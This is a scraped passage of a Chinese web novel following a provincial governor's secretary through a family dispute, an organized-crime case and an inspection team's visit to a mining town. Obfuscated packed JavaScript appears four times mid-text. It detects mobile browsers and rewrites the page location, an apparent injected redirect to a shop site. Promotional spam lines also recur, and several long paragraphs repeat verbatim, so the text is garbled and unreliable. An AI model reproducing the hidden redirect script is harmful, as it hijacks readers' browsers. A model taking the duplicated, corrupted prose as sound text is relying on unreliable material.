她从沙发上站起身,语气平和。 如果单单只从她的言语来听,很正常不过,但这只是她在李承面前的演技而已。 结合她的动作,以及娇娇的沮丧,不难发现,刚刚他们夫妻一定置气了。 还可能与娇娇有关。 “嗯。 孟良德也没有坚持,他看向李承,认真叮嘱:“路上慢一点,安全第一。 “好的老板。 李承点头,拎起客厅摆放的行李箱,跟随沈家瑞出了门。 给沈家瑞拉开后排的车门,李承又将行李放进后备箱后,驾驶着汽车,赶往了机场。 在路过迎宾馆正门口时,李承看到孟良德正站在那里,满脸的无可奈何。 ‘叮叮叮’ 车上,两个人都保持着沉默,直到一声手机铃声,打破了这份死寂。 手机是沈家瑞的,是视频聊天。 刚接起电话,那边就传来一个年迈女性的声音:“家瑞,良德的为人我和你父亲信得过,他有分寸,这件事可能不是你想象的那样。 夫妻之间,要多一些信任. “妈,我在车上,回家说。 视频接通后,自动是声音功放,手机的声音也传进了李承耳朵里。 这是家事,沈家瑞不想让李承知道,便打断了对方。 “嗯,几点到,我安排张师傅去接你。对方说。 “七点。 “好。 视频挂断,沈家瑞目光看向窗外,不再讲话。 李承依旧保持着沉默,大脑却不自觉地胡思乱想起来。 结合沈家瑞妈妈的话,再联想到刚才二人的状态,以及娇娇的表情,李承脑袋里升起了一个可怕的想法! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 孟良德与娇娇 如果李承听说,孟良德会****,李承绝对不会相信。 但男女方面的事情,李承不确定。 英雄难过美人关。 从外貌上讲,沈家瑞就是一个普普通通的中年妇女,没什么过人之处。 可娇娇还处于花期阶段,肤白貌美,两个人的姿色天差地别。 虽说,李承和沈家瑞的接触不多,但从他们的状态,以及平日里孟良德接到她电话的反应,李承可以洞察出一二。 孟良德在面对沈家瑞,以及沈家人时,会面临很大的压力。 家,是一个人的港湾,是累了可以自由自在,放松休息的地方。 可在那个家,孟良德似乎并不能成为孟良德的港湾。 身为省长,他是一个要有坚强意志,有责任,有担当的男人。 可他也是人。 人就会有情绪,会有自我感受,也会寻求温暖。 娇娇又是一个细心,体贴,温柔的女人。 如果孟良德可以在她那里可以释放身心压力,做出一些出格的事情,似乎也就在意料之中了. 但这些都是孟良德的私事,李承心里可以乱揣测,却不能表现出半分半毫,更不能跟任何人提起。 “小李,你女朋友是川蜀人?”沈家瑞打破了宁静,随口问道。 “是呀,川蜀巴达地区的。”李承微笑说。 虽说,这个微笑沈家瑞坐在后排看不见,但笑的时候,语气也会改变,更显温和。 “怪不得呢。”沈家瑞喃喃自语了一句。 “怎么了,嫂子?”李承好奇地问。 “以前我父亲就在巴达地区当兵,你上次邮寄来的火腿,让他回忆起了当兵时期。 这些年,我们也买过很多火腿,都没有那个口感。”沈家瑞道。 过年期间,许强邮寄来的火腿,被李承作为新年礼物,邮寄到了京城孟良德的家里。 当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184243|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李承还在担心对方会不喜欢,没想到,居然歪打正着满足了老爷子的胃口。 “这个火腿是我女朋友家自己做的,她说这个手艺是从她太奶奶辈传下来的,工艺跟市面上卖的不一样。当时我还不信呢,呵呵呵” 李承笑呵呵地回应道。 他心里已经记下了这件事,准备回去再联系崔红丹,看看能不能再搞到一些,送去京城。 但因为是自家手艺,制作周期较长,李承不确定还有没有,也就不能提送。 就算有,也 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 不能提。 提了,沈家瑞大概率会拒绝,还会让沈家瑞认为,她自己的那番话是向李承索要东西,破坏刚刚缓和下来的气氛。 将沈家瑞送入航站楼,目送她进入安检后,李承这才离开。 坐在车里,他第一个电话打给了孟良德。 在确定省长没有其他安排后,他又拨通了许梦的电话。 ‘嘟嘟.嘟.’ “喂,老公,你那边结束了?”许梦问。 “嗯,结束了。” “太好了。” 确定李承没有工作安排,许梦十分欢喜。 他们虽然已经同居,可因为工作性质不同,每天见面时间都很少。 周末也就成为了两个人最期待,可以尽情体验恋人之间快乐的一天。 许梦不想让这仅存的时间,也被占用。 “有件事我帮我问问阿姨,她做的那个火腿,还有没有,要跟上次品质一样的。”李承问。 “是要送孟省长吗?” 许梦知道,上次的火腿送到了京城,也就猜测到了李承的目的。 “嗯,孟省长的岳父很喜欢。”李承没有隐瞒。 “有的,我妈还存了三条,准备等我们结婚招待亲戚呢。” 这三条火腿,崔红丹告诉过许梦,她记得很清楚:“那我让我妈妈都邮寄过来。” “不用,邮寄一条来就行,不能一次性都送完,这东西的制作周期太久了。”李承笑着说道。 “好,我跟我妈说一声。” 许梦答应,语气变得低落:“老公,你快一点回来好吗?我想你了。” 第273章 视察组 周一。 上午十点半,宫庆鑫赶到省政府。 经过他亲自的审讯和调查,谢志强对雷二利的罪行全盘交代,并提供了实质性的证据。 宫庆鑫见孟良德,正是要汇报此事。 但因为他没有提前预约,李承只能抽出省长的零散时间,给他汇报工作。 陪同孟良德开完会,两个人回到办公室时,宫庆鑫已经等在了门口。 “孟省长。” 宫庆鑫快步迎接上孟良德,跟他打完招呼后,又冲李承微笑点了下头。 “嗯,去办公室里说。” 孟良德通过指纹解开锁,进入办公室。 李承给宫庆鑫倒了一杯水,也随后跟了进来。 “省长,关于雷二利的涉黑问题,已经有了确切的证据。” 宫庆鑫拆开档案袋,将资料双手递交:“这些证据虽然是早些年的,但涉及多起**,仅凭这些证据,都可以定雷二利**。” 自从雷二利的团伙越做越大,已经形成了集团性质后,雷二利对自身开始了洗白。 即便是谢志强,也没有他近些年的犯罪证据。 只有十几年前,那时候,雷二利还需要亲自执行犯罪行动时的把柄。 孟良德扫了一眼证据,确认了证据的含金量后,他微微点头:“仅是早年的证据,就涉及了五条人命。 像这种犯罪团伙不铲除,东江省怎能安宁!” “省长,现在要对他进行抓捕吗?” 宫庆鑫这次过来,一,是为了汇报工作。 二,是想请示省长,是否对雷二利进行抓捕行动。 “你们做好周密的计划了吗?”孟良德问。 雷二利犯罪团伙势力不容小觑,如果没有周密的计划,很有可能导致犯罪份子逃脱。 “已经计划好了方案。”宫庆鑫点头。 在向省长汇报工作前,他已经做好了万全的准备,只等孟良德一声令下。 可对此,孟良德却沉默了。 李承清楚,孟良德不是不想抓捕。 他有他的担忧。 京城的视察组这周就要来东江省,这期间,他要尽可能的将东江省营造出一种国泰民安的氛围。 万一抓捕行动有变故,传到了视察组的耳朵里,对孟良德十分不利。 这跟撞枪口上没区别。 “先做好封锁,断掉雷二利逃亡的路,现在还不是抓捕的时机。”孟良德道。 “可是.” 闻言,宫庆鑫担忧了起来:“我担心这期间会走漏风声,给他太多准备的时间。” 雷二利在汉江,已经算是手眼通天的人物。 在他的背后,还有花海集团这尊大佛。 即便在抓捕谢志强和审讯过程里,宫庆鑫已经做好了消息封锁,也都是专案小组全程秘密行事。 可宫庆鑫还是担心会走漏消息。 重赏之下,他怕专案小组中,也有人经不住考验。 “再等等。” 孟良德沉默了两秒,仍然坚持道。 “好的省长。” 宫庆鑫告辞离开后,孟良德对李承吩咐道:“李秘书,你给周安提前通个气。 让他们做好随时迎接视察组的准备,可能,他们会突击访查。” “好。” 出了办公室,李承拿起秘书间的座机,打给了滨西****周安。 吴刚**后,在提选滨西****一职上,孟良德给了周安最大的助力。 他也走向了孟良德的派系内。 “喂,李处长。” 电话接通,周安态度和气的道。 “周**,有件事要提前跟你打个招呼,你方便说话吗?”李承问。 这属于小道消息,有一定的保密性质,需要单独讲话。 “你稍等我一下。” 周安没有挂断电话,电话那边传来他对别人讲话的声音:“小陈,你出去等我。” “李处长,你说。” 周安支开了身边下属后,说。 “是这样,这周京城的视察组要到滨西视察,省长让你提前做好准备,尤其是矿难的遇难者家属,一定要严加防范!” 李承语气凝重的叮嘱道。 “我明白,视察组大概哪天会到?”周安问。 “具体时间我们也没有消息,可能会暗访。”李承道。 “嗯,我清楚了,这就安排。” 挂断电话,李承倚靠在座椅靠背上,活动了一下颈椎。 因为长时间的伏案工作,他落下了颈椎病,稍微活动就会发出响声。 李承叹了一口气,心中难免担忧:唉.不知道这次调查组视察结束后,孟省长还会不会在东江任职,希望不要出什么差错。 周二。 视察组下来的消息,正式传达到了省里。 他们没有搞暗访,提前一天进行通知。 为此,省办公厅也开始加班,既要制定接待准备,又要协调好各个 部门,以及对省长的工作行程做出重新安排。 李承也跟着加班到了深夜。 视察组的第一站就是滨西市。 周三一早,省政府的车队也出发,赶往了滨西,准备迎接和陪同视察组的工作。 正常情况,由省委方面进行接待和陪同。 但形势不同,事关孟良德自身,他主动接下了接待工作。 马红波也十分支持由省政府牵头。 一来,可以卖孟良德个面子。 二来,视察组来者不善,万一出了什么岔子,省委方面也不想出人去担责。 省政府的车队率先赶到高速路口。 到达时,市里的四套班子已经在高速口迎接。 李承拉开车门,孟良德下了车,周安立刻小跑过来,主动伸手:“孟省长。” 其余几个班子的领导也跟了过来,排队等待跟省长握手打招呼。 孟良德一一跟这几位领导握过手后,他目光看向高速的方向,眼神带着沉重。 “孟省长,视察组的车队还要一段时间能到达,要不要先去休息一下?” 视察组是从京城出发,省政府车队从汉江出发,距离上差了近千公里。 即便视察组的车队出发时间较早,可还要等待几个小时。 周安这才建议孟良德先回市区进行休息。 “不了,就在这里等。” 孟良德摆手拒绝:“他们也快到了,进省界了。” “那好。” “周安同志,你到我车里。” 部门,以及对省长的工作行程做出重新安排。 李承也跟着加班到了深夜。 视察组的第一站就是滨西市。 周三一早,省政府的车队也出发,赶往了滨西,准备迎接和陪同视察组的工作。 正常情况,由省委方面进行接待和陪同。 但形势不同,事关孟良德自身,他主动接下了接待工作。 马红波也十分支持由省政府牵头。 一来,可以卖孟良德个面子。 二来,视察组来者不善,万一出了什么岔子,省委方面也不想出人去担责。 省政府的车队率先赶到高速路口。 到达时,市里的四套班子已经在高速口迎接。 李承拉开车门,孟良德下了车,周安立刻小跑过来,主动伸手:“孟省长。” 其余几个班子的领导也跟了过来,排队等待跟省长握手打招呼。 孟良德一一跟这几位领导握过手后,他目光看向高速的方向,眼神带着沉重。 “孟省长,视察组的车队还要一段时间能到达,要不要先去休息一下?” 视察组是从京城出发,省政府车队从汉江出发,距离上差了近千公里。 即便视察组的车队出发时间较早,可还要等待几个小时。 周安这才建议孟良德先回市区进行休息。 “不了,就在这里等。” 孟良德摆手拒绝:“他们也快到了,进省界了。” “那好。” “周安同志,你到我车里。” 部门,以及对省长的工作行程做出重新安排。 李承也跟着加班到了深夜。 视察组的第一站就是滨西市。 周三一早,省政府的车队也出发,赶往了滨西,准备迎接和陪同视察组的工作。 正常情况,由省委方面进行接待和陪同。 但形势不同,事关孟良德自身,他主动接下了接待工作。 马红波也十分支持由省政府牵头。 一来,可以卖孟良德个面子。 二来,视察组来者不善,万一出了什么岔子,省委方面也不想出人去担责。 省政府的车队率先赶到高速路口。 到达时,市里的四套班子已经在高速口迎接。 李承拉开车门,孟良德下了车,周安立刻小跑过来,主动伸手:“孟省长。” 其余几个班子的领导也跟了过来,排队等待跟省长握手打招呼。 孟良德一一跟这几位领导握过手后,他目光看向高速的方向,眼神带着沉重。 “孟省长,视察组的车队还要一段时间能到达,要不要先去休息一下?” 视察组是从京城出发,省政府车队从汉江出发,距离上差了近千公里。 即便视察组的车队出发时间较早,可还要等待几个小时。 周安这才建议孟良德先回市区进行休息。 “不了,就在这里等。” 孟良德摆手拒绝:“他们也快到了,进省界了。” “那好。” “周安同志,你到我车里。” 部门,以及对省长的工作行程做出重新安排。 李承也跟着加班到了深夜。 视察组的第一站就是滨西市。 周三一早,省政府的车队也出发,赶往了滨西,准备迎接和陪同视察组的工作。 正常情况,由省委方面进行接待和陪同。 但形势不同,事关孟良德自身,他主动接下了接待工作。 马红波也十分支持由省政府牵头。 一来,可以卖孟良德个面子。 二来,视察组来者不善,万一出了什么岔子,省委方面也不想出人去担责。 省政府的车队率先赶到高速路口。 到达时,市里的四套班子已经在高速口迎接。 李承拉开车门,孟良德下了车,周安立刻小跑过来,主动伸手:“孟省长。” 其余几个班子的领导也跟了过来,排队等待跟省长握手打招呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184244|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟良德一一跟这几位领导握过手后,他目光看向高速的方向,眼神带着沉重。 “孟省长,视察组的车队还要一段时间能到达,要不要先去休息一下?” 视察组是从京城出发,省政府车队从汉江出发,距离上差了近千公里。 即便视察组的车队出发时间较早,可还要等待几个小时。 周安这才建议孟良德先回市区进行休息。 “不了,就在这里等。” 孟良德摆手拒绝:“他们也快到了,进省界了。” “那好。” “周安同志,你到我车里。” 部门,以及对省长的工作行程做出重新安排。 李承也跟着加班到了深夜。 视察组的第一站就是滨西市。 周三一早,省政府的车队也出发,赶往了滨西,准备迎接和陪同视察组的工作。 正常情况,由省委方面进行接待和陪同。 但形势不同,事关孟良德自身,他主动接下了接待工作。 马红波也十分支持由省政府牵头。 一来,可以卖孟良德个面子。 二来,视察组来者不善,万一出了什么岔子,省委方面也不想出人去担责。 省政府的车队率先赶到高速路口。 到达时,市里的四套班子已经在高速口迎接。 李承拉开车门,孟良德下了车,周安立刻小跑过来,主动伸手:“孟省长。” 其余几个班子的领导也跟了过来,排队等待跟省长握手打招呼。 孟良德一一跟这几位领导握过手后,他目光看向高速的方向,眼神带着沉重。 “孟省长,视察组的车队还要一段时间能到达,要不要先去休息一下?” 视察组是从京城出发,省政府车队从汉江出发,距离上差了近千公里。 即便视察组的车队出发时间较早,可还要等待几个小时。 周安这才建议孟良德先回市区进行休息。 “不了,就在这里等。” 孟良德摆手拒绝:“他们也快到了,进省界了。” “那好。” “周安同志,你到我车里。” 部门,以及对省长的工作行程做出重新安排。 李承也跟着加班到了深夜。 视察组的第一站就是滨西市。 周三一早,省政府的车队也出发,赶往了滨西,准备迎接和陪同视察组的工作。 正常情况,由省委方面进行接待和陪同。 但形势不同,事关孟良德自身,他主动接下了接待工作。 马红波也十分支持由省政府牵头。 一来,可以卖孟良德个面子。 二来,视察组来者不善,万一出了什么岔子,省委方面也不想出人去担责。 省政府的车队率先赶到高速路口。 到达时,市里的四套班子已经在高速口迎接。 李承拉开车门,孟良德下了车,周安立刻小跑过来,主动伸手:“孟省长。” 其余几个班子的领导也跟了过来,排队等待跟省长握手打招呼。 孟良德一一跟这几位领导握过手后,他目光看向高速的方向,眼神带着沉重。 “孟省长,视察组的车队还要一段时间能到达,要不要先去休息一下?” 视察组是从京城出发,省政府车队从汉江出发,距离上差了近千公里。 即便视察组的车队出发时间较早,可还要等待几个小时。 周安这才建议孟良德先回市区进行休息。 “不了,就在这里等。” 孟良德摆手拒绝:“他们也快到了,进省界了。” “那好。” “周安同志,你到我车里。” 部门,以及对省长的工作行程做出重新安排。 李承也跟着加班到了深夜。 视察组的第一站就是滨西市。 周三一早,省政府的车队也出发,赶往了滨西,准备迎接和陪同视察组的工作。 正常情况,由省委方面进行接待和陪同。 但形势不同,事关孟良德自身,他主动接下了接待工作。 马红波也十分支持由省政府牵头。 一来,可以卖孟良德个面子。 二来,视察组来者不善,万一出了什么岔子,省委方面也不想出人去担责。 省政府的车队率先赶到高速路口。 到达时,市里的四套班子已经在高速口迎接。 李承拉开车门,孟良德下了车,周安立刻小跑过来,主动伸手:“孟省长。” 其余几个班子的领导也跟了过来,排队等待跟省长握手打招呼。 孟良德一一跟这几位领导握过手后,他目光看向高速的方向,眼神带着沉重。 “孟省长,视察组的车队还要一段时间能到达,要不要先去休息一下?” 视察组是从京城出发,省政府车队从汉江出发,距离上差了近千公里。 即便视察组的车队出发时间较早,可还要等待几个小时。 周安这才建议孟良德先回市区进行休息。 “不了,就在这里等。” 孟良德摆手拒绝:“他们也快到了,进省界了。” “那好。” “周安同志,你到我车里。” 第274章 脱离掌控 回到车内。 孟良德问周安:“滨西矿业现在经营状况如何?” 滨西矿业换了董事长在经过一系列整顿过后已经恢复了正常经营。 毕竟这是滨西的支柱产业不可能长时间关停。 “已经恢复正常运转对于矿工也进行了集体编制改革**市政府方面也对开采进行了严格监管。 一切都严格按照标准执行不会出现曾经的经营混乱情况。”周安汇报道。 他是一个实干型干部并非只会在围棋上‘纸上谈兵’。 在周安上任后对于滨西矿业进行了一系列的改革将滨西矿业以前存在的隐患问题全部铲除和杜绝。 从企业上滨西矿业查不出太大的问题。 “嗯。” 闻言 这才是孟良德最为关心的问题。 “冯市长已经安排人进行监督不会出现差错。”周安道。 在这件事上他提到了冯坤。 属于是一种提前避险。 万一出现了差错遇难者家属**责任就归到了冯坤头上。 “这件事容不得马虎你再去叮嘱一下严格做好防范。”孟良德道。 他始终放心不下。 “好。” 一个半小时后京城视察车队驶入高速口。 一台悬挂京A牌照的考斯特停下孟良德带着省政府和**市政府的领导班子进行迎接。 车门打开几个中年男人走下了车。 “郑部长好久不见。” 孟良德上前一步主动与对方为首的男人握手。 男人五十多岁的模样国字脸背头。 给人一种正派凛然的感觉。 “孟省长我们这次过来视察工作给你添麻烦了吧呵呵” 郑部长跟孟良德握着手笑呵呵的道。 两个人寒暄了几句**市政府也跟视察组的人打过招呼后双方上了各自的车辆。 朝着滨西矿业的方向驶去。 平房。 白邱赫接到了毕阳的消息从后窗跳了出去。 他踩着几块板砖身手灵敏地跳过围墙朝着主路上跑去。 他得到消息知道政府的人在监视他所以他特意做了伪装。 打扮成了一个妇女的模样。 带着绿色的围巾将头罩住穿了一个红色的 听说看这本书的人都是很幸运的,分享后你的运气会更棒 棉服为了真实性他还将女朋友的‘光腿神器’套在了腿上。 “你们看这个人打扮得好怪异呀这都什么年头了还有这么穿的。” 一辆捷达车里主驾驶的警员看到了白邱赫忍不住跟身边人调侃了一句。 他并没有认出来这是白邱赫假扮的。 “这个人的背影看着有点眼熟呀。”副驾驶的男人说。 “可能是哪个村里的亲戚吧哈哈哈。” “不对!” 副驾驶男人眼神一凝从白邱赫回头张望的举动让他怀疑的心大起。 市政府三令五申不能让白邱赫逃离视线他们也不敢掉以轻心。 “我怀疑这个人就是白邱赫你们跟上去看看。” 副驾驶回过头对后排的两个小年轻进行吩咐后 与此同时后排的小年轻快速下了车。 朝着白邱赫追去:“喂前年穿红棉袄的大姐你等一下!” 白邱赫听到有人喊他知道自己可能要暴露他没有任何犹豫撒腿就跑。 “站住!” 两个小年轻大喊一声急匆匆地追了上去。 主驾驶的警员见状也知道形势不妙一脚油门踩下去。 “白邱赫不见了。” 这时对讲机里也传来了回应。 “他正在朝着民工街的方向跑二队拦截!” 在监视组的拦截下白邱赫跑到了大街上。 主街上一台宝马M4已经等待多时在白邱赫上车后宝马在一声轰鸣下扬长而去。 监视组的汽车紧追不舍。 可花海集团的人早就做好了准备。 当宝马车行驶过路口后几个摆摊的三轮车从侧边驶入道路中心将道路堵死。 任由监视组的车如何鸣笛对方都不肯让路。 监视白邱赫的负责人在看到对方顺利逃脱后吓得背脊发寒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188637|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拿起手机拨通了上级的电话。 ‘嗡嗡嗡’ 赶往滨西矿业的路上李承的手机振动了起来。 拿出手机来电显示是冯坤。 “冯市长的电话。” 李承向孟良德汇报一声后接通了电话:“喂冯市长。” “李秘书白邱赫跑了!”冯坤声音低沉地汇报道。 “什么!” 听到这个消息李承也紧张 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 了。 白邱赫在这个时间节点消失,只有一种可能,那就是向京城视察组打报告。 “怎么了?”孟良德问。 “那个**户跑了。” 李承回过头,将手机递给了孟良德。 孟良德接过手机,眼神中充满了愤怒:“冯坤,你是诚心想给我添麻烦,是吗?” 孟良德的声音格外冰冷,他已经彻底对冯坤失望。 电话中,冯坤的解释李承听不见。 但孟良德也没有给对方多解释的时间:“我不想听你这些废话,我告诉你,如果**户出现在视察组的面前,你这个市长也就干到头了!” “你们带路的车队,现在更换路线,绕路去滨西矿业。 让滨西矿业和市**做足准备,在必经路线上,任何可疑车辆和可疑人员,全部清除!” 丢下这句话,孟良德挂断了电话,将手机递给了李承。 李承小心翼翼地接过手机,也默默了闭上了嘴。 孟良德点燃了一根香烟,将车窗降下来一条缝隙。 香烟顺着窗户飘出 车内的气氛,始终处于一种紧绷的状态,李承目视前方,留意着周边情况。 他心里默默祈祷,希望市里可以挽回现在的局面,在白邱赫接近视察组车队前,将他控制住。 当车队行驶了大概二十分钟左右,接近滨西矿业时,李承的目光看到了一台宝马M4。 车子停在了辅路上,距离车队仅有一条绿化带之隔。 在宝马车前,李承看到了一张熟悉的面孔! 第275章 截车 白邱赫! 这一刻,仿佛空气都瞬间凝结成冰,李承目光死死盯着白邱赫的动作,看到他朝着马路中心的位置狂奔。 李承的心‘咯噔’一声。 他知道,白邱赫要用身体拦住京城视察组! “省长,白邱赫去截视察组的车了!” 李承回过头,他已经顾不得控制情绪管理,急切地汇报道。 “停车!”孟良德喝令道。 ‘吱’ 一道急刹车响起。 但这道刹车不是孟良德的省长二号专车,而是后面视察组的考斯特。 紧接着,二号专车也停稳在马路中间。 孟良德拉开车门,直接冲下了车,李承也紧跟而上。 直到他们都下了车,行驶在前面的**市政府的汽车还停下。 周安,冯坤等人下了车后,朝着这边快步跑来,根本顾不得身份形象。 此时。 白邱赫双手张开,挡在考斯特的面前。 距离考斯特,只有不到一米的距离,司机哪怕晚踩半秒刹车,都会撞在他的身上! “我爸死得冤枉啊,你们这些从京城来的大官,可得为我做主呀,不然我也活不下去了” 白邱赫大声喊着,摆出一副寻死觅活的样子。 看到他这么作,李承反而冷静了下来。 他放缓脚步,跟在孟良德的身后。 “白邱赫,你别在这里胡闹,赔偿款已经给到了你,你拿了钱还不消停,到底想怎么样?” 冯坤气喘吁吁地跑到白邱赫面前,他此时也完全顾不得市长的身份,伸手就去拉白邱赫。 他很清楚,如果白邱赫这么闹下去,不一定会对孟良德造成太大的影响,但他的市长位置肯定保不住。 “你别碰我,我压根就没打算给跟你们和解,就是你们逼的,欺负我没背景,是普通老百姓!” 白邱赫一副可怜兮兮的样子,反驳道。 完全一副弱势群体的状态。 “快,给他拉到一边去,别耽误领导的视察工作。”冯坤对身旁的几位公职人员吩咐道。 “都别碰我,我要见领导,我要见京城来的大领导,否则我今天就死在这里!” 白邱赫挣扎着,冲着车内大声喊道::“京城来的领导,我知道你能听见我说话,我有冤呀,你们得给我做主呀!” “放开他,让他说。” 这时,孟良德沉声开口。 笑话已经闹大了,事情也 听说看这本书的人都是很幸运的,分享后你的运气会更棒 发生了,躲已经躲不过去。 不如坦然面对。 一味地阻挡,反而会让视察组认为,省政府在遮掩什么。 考斯特的电动门缓缓打开,郑部长一行人走下了车。 当没有了束缚,当看到郑部长一行人后,白邱赫‘扑通’一声跪在了地上,给郑部长磕了一个头! “领导,你得为我做主呀! “快起来。 见到白邱赫跪地磕头喊冤,郑部长连忙上前,将他搀扶了起来:“到底怎么回事? “因为滨江市领导的贪腐,纵容滨西矿业在不合规的情况开矿,结果我父亲和二十几个工友,都没在从矿井里面活着出来 白邱赫哭哭啼啼地摸了一把眼泪,手指向冯坤等人:“这些领导为了怕我们告状,还想限制我的人身自由,我费了好大的劲,才跑出来。 你看我这身衣服,就是为了躲避他们的抓捕。 白邱赫的言辞中带着浓浓的诬陷,对此,孟良德并没有打断他。 任由他去胡乱地说。 真的东西假不了。 假的东西也真不了,事情已经发生了,遮掩没了作用,那就要解决。 “白邱赫,你别乱说行吗?滨西矿业给了你们每家二百万的赔偿款,这个金额已经远超同等死亡赔偿的标定。 其他遇难者家属早就达成了协议,是你贪心,非要讹诈政府,想要**。 冯坤反驳道。 他不是在跟白邱赫去争辩,而是通过这种方式,把事情真相传达到郑部长的耳朵里。 “好啦! 这时,郑部长开口打断了两人,他说:“这里不是谈话的地方,有什么问题,我们去滨西矿业谈。 说完,他看向白邱赫:“你上我的车吧。 重新回到车上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188638|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “省长,要不要通知冯市长将其他遇难者家属也召集过来?李承请示道。 其他遇难者家属已经被政府安顿好,对于政府的赔偿款也十分满意。 唯独白邱赫受到了花海集团的蛊惑,成为了刺头。 李承的想法是,将其余家属都叫过来。 对比之下,白邱赫是**,还是真冤屈,一目了然! “嗯,也好。 孟良德思索片刻,点头答应。 李承的想法,在孟良德看来,是完全可以执行的。 他并不担心其余的遇难者家属也被花海集团收买。 如果他们真的收买了,就算政 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 府部门不叫他们过来,花海集团也会想办法给他们送到视察组的面前。 得到孟良德的许可后,李承给冯坤打去了电话。 “李秘书。” 电话接通,冯坤的声音里,带着掩饰不住的忐忑。 他怕这通电话是来自省长的问责。 “冯市长,省长让你将其余的遇难者家属集结过来,一同到视察组面前。”李承说。 “好,我这就去安排。”冯坤答应。 “嗯,动用一些力量,一定要快。”李承说。 现在是跟时间赛跑,视察组不会在这件事耽搁太长时间。 “明白。” 挂断电话后,李承突然想到了一个人。 那就是刘大姐。 当初李承得知矿难情况,就是从这位大姐口中得知。 这位大姐在赔偿问题上,也会政府做出了贡献,她劝说了很多遇难者家属。 在这些工友圈里,她还算很有影响力的人。 于是,李承给刘大姐发了一条消息过去,询问对方在什么位置。 刘大姐回复很快,说是在家里。 李承将情况大致跟刘大姐叙述的一遍,想要寻求她的出面。 刘大姐是一个热心肠,对于李承的请求,她一口答应。 在得到刘大姐愿意出面后,李承给冯坤发了一条信息,将刘大姐的电话和住址告知给对方。 让他安排人去接一趟。 第276章 仗义出手 滨西矿业,会议室内。 白邱赫滔滔不绝,颠倒黑白地述说着滨西矿业的违规行为,以及政府的**,包庇,和对他们百姓的种种不公。 对于他的污蔑,市领导班子在孟良德的示意下,都没有过多去辩解。 “领导,我觉得,像他们这些不称职的干部,就应该撤职,我这个人就是敢说实话,敢作敢当。 我也不怕得罪人,反正我家里就我爸一个人,我爸现在也**,我也没什么顾虑。 我认为,孟省长就非常的不称职,事情发生后,来到滨西,并没有给我们百姓主持大局,一直都是抱着压事的态度,怕我们去闹,影响他当官的路。 压根就没有为我们普通老百姓考虑过,就.” ‘砰’ 就是这时,办公室的门被推开。 刘大姐带着十几个遇难者家属,愤愤不平地冲了进来。 她也不顾这样鲁莽地闯进来,会不会打扰领导。 她进门后,目光直接落在了白邱赫的身上,开口呵斥起来:“白邱赫,你乱讲话别带上我们! 你要不要脸啊,跑到领导们面前胡搅蛮缠来,你不就是拿了别人的好处,想要诬陷领导吗? 孟省长多好个省长,让你说成这样,你还有没有良心啊。 要不是孟省长,吴刚的问题能查出来吗?市里能拿出两百万赔偿你们吗? 要不是孟省长来了,赔偿的问题还不知道猴年马月能够解决呢。 这样以为干实事的好领导,你咋舔着个大逼脸去诬陷人家的呢?” 刘大姐进门后,就是一顿语言上的狂轰滥炸。 话糙,但是理不糙。 “她们是?” 郑部长看着突然闯进来的一行人,皱着眉头,问。 “郑部长,这些也都是遇难者的家属。”周安解释道。 “嗯。” 郑部长微微点头,说:“既然大家都来了,你们对于滨西矿难的处理结果也都各持己见,今天把话说清楚,把问题解决了。” 郑部长是临阵换将。 原定计划里,视察组的组长不是他,而是别人。 那个人,对孟良德不利。 沈家瑞的父亲,为了保护自己的女婿,这才通过关系,主张了换人。 郑部长属于中立,不偏不向。 他只是带着使命,把事情了解清楚,把东江的情况,摸索一遍。 这也是为何,原本是暗访,却在最后一天进行了通知的原因。 “领导,这个白邱赫就是个混账,他的话你压根不用信,他就是个打爹骂娘的畜生。 他爹活着的时候,连包烟都不舍得给他爹买,他爹**,他又表现出孝顺劲儿了,说到底,他就是想敲诈勒索政府的钱!” 刘大姐义愤填膺地道。 